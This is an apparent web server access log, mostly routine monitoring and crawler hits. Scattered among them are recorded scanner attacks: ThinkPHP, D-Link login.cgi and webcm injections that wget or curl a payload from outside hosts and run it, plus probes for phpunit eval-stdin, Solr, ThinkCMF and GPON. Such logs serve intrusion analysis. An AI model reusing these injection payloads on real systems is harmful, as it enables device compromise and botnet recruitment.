212.91.246.72 - - [27/Feb/2020:19:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.62 - - [27/Feb/2020:19:53:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:19:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.170.141.155 - - [27/Feb/2020:19:55:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:19:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.1.208.92 - - [27/Feb/2020:20:01:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.251.137.225 - - [27/Feb/2020:20:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:20:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [27/Feb/2020:20:02:27 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [27/Feb/2020:20:03:26 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:20:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [27/Feb/2020:20:03:28 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [27/Feb/2020:20:03:49 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:20:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.68.180.18 - - [27/Feb/2020:20:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:20:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.29.174.199 - - [27/Feb/2020:20:07:24 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [27/Feb/2020:20:07:25 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [27/Feb/2020:20:07:25 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [27/Feb/2020:20:07:27 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [27/Feb/2020:20:07:27 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [27/Feb/2020:20:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.29.174.199 - - [27/Feb/2020:20:07:28 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [27/Feb/2020:20:07:28 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [27/Feb/2020:20:07:32 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
119.29.174.199 - - [27/Feb/2020:20:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [27/Feb/2020:20:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.159.165.73 - - [27/Feb/2020:20:12:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:20:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.189.155.19 - - [27/Feb/2020:20:17:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:20:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.83.38.204 - - [27/Feb/2020:20:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:20:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.19.114.20 - - [27/Feb/2020:20:21:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:20:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.182.156.3 - - [27/Feb/2020:20:27:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:20:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.154.188.171 - - [27/Feb/2020:20:28:56 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [27/Feb/2020:20:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.91.150.23 - - [27/Feb/2020:20:42:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:20:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [27/Feb/2020:20:42:59 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:20:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.249.166.98 - - [27/Feb/2020:20:43:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
106.12.69.27 - - [27/Feb/2020:20:44:00 +0100] "GET /cgi-bin/webcm?getpage=../html/menus/menu2.html&var:lang=wget%20http%3A%2F%2F80.82.67.184%2Frichard%3B%20curl%20-O%20http%3A%2F%2F80.82.67.184%2Frichard%3B%20chmod%20%2Bx%20richard%3B%20sh%20richard HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:20:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.94.144.123 - - [27/Feb/2020:20:53:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:20:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:20:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.212.162.170 - - [27/Feb/2020:20:58:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.212.162.170 - - [27/Feb/2020:20:58:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
188.212.162.170 - - [27/Feb/2020:20:58:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
175.35.173.108 - - [27/Feb/2020:20:58:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [27/Feb/2020:20:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.227.198.226 - - [27/Feb/2020:21:00:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [27/Feb/2020:21:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.178.145.32 - - [27/Feb/2020:21:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.231.24.40 - - [27/Feb/2020:21:06:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
2.231.24.40 - - [27/Feb/2020:21:06:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
47.103.27.158 - - [27/Feb/2020:21:07:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [27/Feb/2020:21:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.243.130.143 - - [27/Feb/2020:21:08:16 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.243.130.143 - - [27/Feb/2020:21:08:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
79.111.84.45 - - [27/Feb/2020:21:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:21:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.23.77.12 - - [27/Feb/2020:21:10:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:21:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.255.231.38 - - [27/Feb/2020:21:13:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [27/Feb/2020:21:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.172.234.21 - - [27/Feb/2020:21:13:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:21:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.41 - - [27/Feb/2020:21:15:04 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.39 - - [27/Feb/2020:21:15:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [27/Feb/2020:21:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.81.220.160 - - [27/Feb/2020:21:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:21:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.115.237.97 - - [27/Feb/2020:21:21:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
109.115.237.97 - - [27/Feb/2020:21:21:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:21:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.141.74.17 - - [27/Feb/2020:21:23:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
102.141.74.17 - - [27/Feb/2020:21:23:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:21:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.102.226.187 - - [27/Feb/2020:21:24:26 +0100] "GET / HTTP/1.1" 400 6160 "-" "-"
212.91.246.72 - - [27/Feb/2020:21:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:21:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
